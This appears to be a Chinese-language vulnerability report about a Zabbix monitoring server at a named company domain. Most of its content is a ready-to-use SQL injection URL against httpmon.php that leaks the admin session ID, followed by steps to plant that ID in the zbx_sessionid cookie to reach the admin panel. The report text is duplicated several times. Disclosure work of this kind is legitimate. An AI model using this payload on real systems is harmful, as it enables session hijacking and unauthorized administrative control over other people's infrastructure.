### 简要描述： 怎么说呢.Zabbix的注入和cookie欺骗漏洞没修复,但是似乎被人黑了,然后把scripts补分改了.导致.无法执行命令. 但是还是可以看到许多敏感信息,更改一些设置. ### 详细说明： http://zabbix.53rj.com.cn/httpmon.php?applications=2%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%28select%20concat%28cast%28concat%28sessionid,0x7e,userid,0x7e,status%29%20as%20char%29,0x7e%29%29%20from%20zabbix.sessions%20where%20status=0%20and%20userid=1%20LIMIT%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29 获取session ID替换本地cookie中的zbx_sessionid就进入后台了. http://zabbix.53rj.com.cn/scripts.php打开是空白,猜测已被黑,并且黑客改了内容,不想再被其他人入侵. 管理界面. [<img src="https://images.seebug.org/upload/201404/25010919cc3786deec9b24a4b08ca1df39af1278.jpg" alt="53KF-ZABBIX.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201404/25010919cc3786deec9b24a4b08ca1df39af1278.jpg) ### 漏洞证明：...
### 简要描述： 怎么说呢.Zabbix的注入和cookie欺骗漏洞没修复,但是似乎被人黑了,然后把scripts补分改了.导致.无法执行命令. 但是还是可以看到许多敏感信息,更改一些设置. ### 详细说明： http://zabbix.53rj.com.cn/httpmon.php?applications=2%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%28select%20concat%28cast%28concat%28sessionid,0x7e,userid,0x7e,status%29%20as%20char%29,0x7e%29%29%20from%20zabbix.sessions%20where%20status=0%20and%20userid=1%20LIMIT%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29 获取session ID替换本地cookie中的zbx_sessionid就进入后台了. http://zabbix.53rj.com.cn/scripts.php打开是空白,猜测已被黑,并且黑客改了内容,不想再被其他人入侵. 管理界面. [<img src="https://images.seebug.org/upload/201404/25010919cc3786deec9b24a4b08ca1df39af1278.jpg" alt="53KF-ZABBIX.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201404/25010919cc3786deec9b24a4b08ca1df39af1278.jpg) ### 漏洞证明： http://zabbix.53rj.com.cn/httpmon.php?applications=2%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%28select%20concat%28cast%28concat%28sessionid,0x7e,userid,0x7e,status%29%20as%20char%29,0x7e%29%29%20from%20zabbix.sessions%20where%20status=0%20and%20userid=1%20LIMIT%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29 获取session ID替换本地cookie中的zbx_sessionid就进入后台了. http://zabbix.53rj.com.cn/scripts.php打开是空白,猜测已被黑,并且黑客改了内容,不想再被其他人入侵. 管理界面. [<img src="https://images.seebug.org/upload/201404/25010919cc3786deec9b24a4b08ca1df39af1278.jpg" alt="53KF-ZABBIX.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201404/25010919cc3786deec9b24a4b08ca1df39af1278.jpg)
